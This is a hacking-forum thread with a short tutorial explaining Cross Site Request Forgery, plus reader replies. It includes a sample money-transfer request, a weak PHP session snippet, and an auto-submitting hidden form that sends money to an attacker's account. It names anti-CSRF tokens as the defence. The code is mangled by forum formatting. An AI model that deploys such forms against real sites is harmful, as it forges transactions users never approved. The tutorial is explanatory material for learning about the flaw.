Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[Tut] Cross Site Request Forgery (CSRF) [Tut]

What is CSRF?

CSFR is Cross Site Request Forgery (sometimes denoted by XSRF, X = "cross"). Don't confuse CSRF with CSS/XSS. The difference between CSRF and XSS is:

In XSS, the trust for a user on the website is exploited whereas in CSRF, the trust that a web server has on a user is exploited.
The whole CSRF exploit revolves around the way the server authenticates a user. It is basically sending out malicious HTTP requests without the user's consent/knowledge.

Lets say this is the HTTP request sent to a web server to transfer money from one account to another account:

PHP Code

<?php 
POST 
/csrf/Transfer HTTP/1.1
Referer
: http://localhost/csrf
 
User-Agent: ...
Content-Type: application/x-www-form-urlencoded
Host
: 127.0.0.1:54607
Content
-Length: xx
Cookie
: .PHPSESSID=sjas7dsakjdsa7
Money
=10000&toAccount=mike 

As we can see the POST variables are Money and toAccount. Now lets look at the way, a user is being authenticated by the website:

PHP Code

<?php 
$username 
= 'user';
$password = 'pass';
session_start();
$_SESSION['in'] = 1;
$_SESSION['user'] = $username; 

With that type of authentication, the web server can't be sure if the request was made by the legit user or by a malicious user by the use of CSRF.

Let's take a look at the malicious code the attacker writes to send himself money.

PHP Code

<?php 
<form name="transfer" method="post" action="http://localhost/csrf/transfer">
        <
input type="hidden" name="Money" value="100000">
        <
input type="hidden" name="toAccount" vale="john">
</
form>
<
script>document.transfer.submit()</script> 

The above script submits itself to the transfer page with all the values required. When the legitimate user visits a page with that malicious code in, the form automatically sends a HTTP request to the webapp, basically asking it to send money to the account "john" without the intervention of the user. This happens mostly due to the lack of proper authentication of user submitted requests.

Counter measures:

Create authentication tokens for every request and validate them.
thank you for posting :)
I will see it better
(Apr 15, 2015 05:20 AM)startitit2 Wrote:  thank you for posting :)
I will see it better

Sure! Let me know if you have any doubts or if you want me to add something to it.
omg lookin 4 dis everywhere, ur a lifesavor bro! #thx
Thanks I have bookmarked this tutorial for reference
(Apr 16, 2015 10:50 PM)HelpingOthers Wrote:  Thanks I have bookmarked this tutorial for reference

Thanks for the feedback! Glad you like it.
thank you a very nice tutorial
(May 1, 2015 10:10 AM)Vector.A+ Wrote:  thank you a very nice tutorial

Thanks for the feedback! Glad you like it.
Good tutorial, but slightly useless in most cases.

Many people use anti-csrf tokens (verification of cookie and input value) to prevent such a thing from EVER occurring.
[Image: eBxEg.gif]

(Jun 4, 2015 12:07 PM)Water Aura Wrote:  Good tutorial, but slightly useless in most cases.

Many people use anti-csrf tokens (verification of cookie and input value) to prevent such a thing from EVER occurring.

I agree that it is not an effective vulnerability. But not many people use anti csrf tokens. Only big sites do.
bookmarked, thank you for this guide :)


Possibly Related Threads...
Thread / Author Replies Views Last Post
by zer0pwnSep 1, 2022 05:10 AM 548 66,978 Sep 1, 2022 05:10 AM
Last Post: KeyToSuccess
by KodazMay 19, 2021 10:28 PM 16 1,229 May 19, 2021 10:28 PM
Last Post: LGiver
by BodluxJul 12, 2020 01:12 PM 0 349 Jul 12, 2020 01:12 PM
Last Post: Bodlux